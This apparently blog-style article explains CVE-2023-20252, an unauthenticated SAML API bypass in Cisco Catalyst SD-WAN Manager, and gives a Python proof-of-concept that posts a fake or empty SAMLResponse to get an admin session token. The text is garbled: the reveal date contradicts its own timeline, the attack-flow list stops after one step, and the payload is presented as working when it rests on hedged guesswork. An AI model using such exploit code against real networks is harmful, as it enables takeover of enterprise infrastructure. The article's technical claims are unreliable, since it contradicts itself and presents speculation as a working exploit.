In June 2023, Cisco revealed a critical vulnerability (CVE-2023-20252) in its Catalyst SD-WAN Manager software. This flaw lets hackers break into your system as any user—without needing a password or credentials—by exploiting weaknesses in the SAML API. In this long read, we’ll explain how the bug works, review official sources, and walk through a sample exploitation flow.

What Is CVE-2023-20252?

CVE-2023-20252 is a security issue found in the Security Assertion Markup Language (SAML) APIs of Cisco Catalyst SD-WAN Manager (also known as vManage). By not checking authentication correctly, the SAML API allows someone on the internet (remote, unauthenticated attacker) to access the application as any user—meaning they can potentially control the whole network.

Who Is Affected?

All customers using vulnerable versions of Cisco Catalyst SD-WAN Manager should take this vulnerability seriously.

Cisco Catalyst SD-WAN Manager Release 20.7 and earlier

- Potentially other releases—always check Cisco’s official advisory

How Does This Work? Explaining the Vulnerability

The root cause is improper authentication checks. Normally, SAML is designed for single sign-on, and APIs are locked down so only genuine, authenticated users can access them. In this flaw, the SD-WAN Manager’s SAML API does *not* confirm the requester is really who they say they are.

If an attacker knows how to talk to the SAML endpoint, they can trick the system into thinking they’re a valid user—no password or real SAML tokens required!

Simplified Attack Flow

1. Attacker learns the vulnerable SAML endpoint URL (ex: https://<sdwan-manager>/api/saml/login)

Proof of Concept: Exploiting the Vulnerability

> Warning: This example is for educational purposes only! Do not hack systems you don’t own or have permission to test.

Let’s look at a simplified exploit using Python and the popular requests library.

Exploit Goal: Gain a valid session token as an arbitrary user (for example, admin).

import requests

# Target SD-WAN Manager URL
target_url = "https://victim-sdwan.example.com";

# Craft the SAML API endpoint
saml_api_url = f"{target_url}/api/saml/login"

# Construct the payload (in some vulnerable versions, even a blank SAMLResponse may work)
payload = {
    "SAMLResponse": "<fake-or-empty-response>"
}

# Send the request
response = requests.post(saml_api_url, data=payload, verify=False)

# Parse the token from response (depending on implementation)
if response.status_code == 200 and "session_token" in response.text:
    print("Exploit successful! Token:")
    print(response.text)
else:
    print(f"Attack failed. Received: {response.status_code}")

*Note: The actual payload and parsing may vary based on the SD-WAN Manager version and configuration. Some implementations may require targeting other SAML/SSO endpoints or tweaking requests.*

Full Application Control: The attacker impersonates legitimate users, including administrators.

- Network Compromise: SD-WAN controls core enterprise networking; compromise can lead to lateral movement, data theft, denial of service, or more.

Mitigation and Remediation

Cisco has issued patched versions.
If you run SD-WAN Manager, upgrade immediately to the latest, fixed software as listed in the Cisco advisory.

Reference:
- Cisco security advisory: CVE-2023-20252 - Cisco Catalyst SD-WAN Manager SAML API Authentication Bypass Vulnerability
- NVD listing: NIST NVD - CVE-2023-20252

Conclusion

CVE-2023-20252 is a prime example of why strong authentication checks are crucial, especially for APIs and single sign-on features. If you’re running a Cisco SD-WAN environment, act now to prevent attackers from getting the keys to your network.

- Cisco Official CVE-2023-20252 Advisory
- National Vulnerability Database - CVE-2023-20252

Timeline

Published on: 09/27/2023 18:15:00 UTC
Last modified on: 10/16/2023 16:35:00 UTC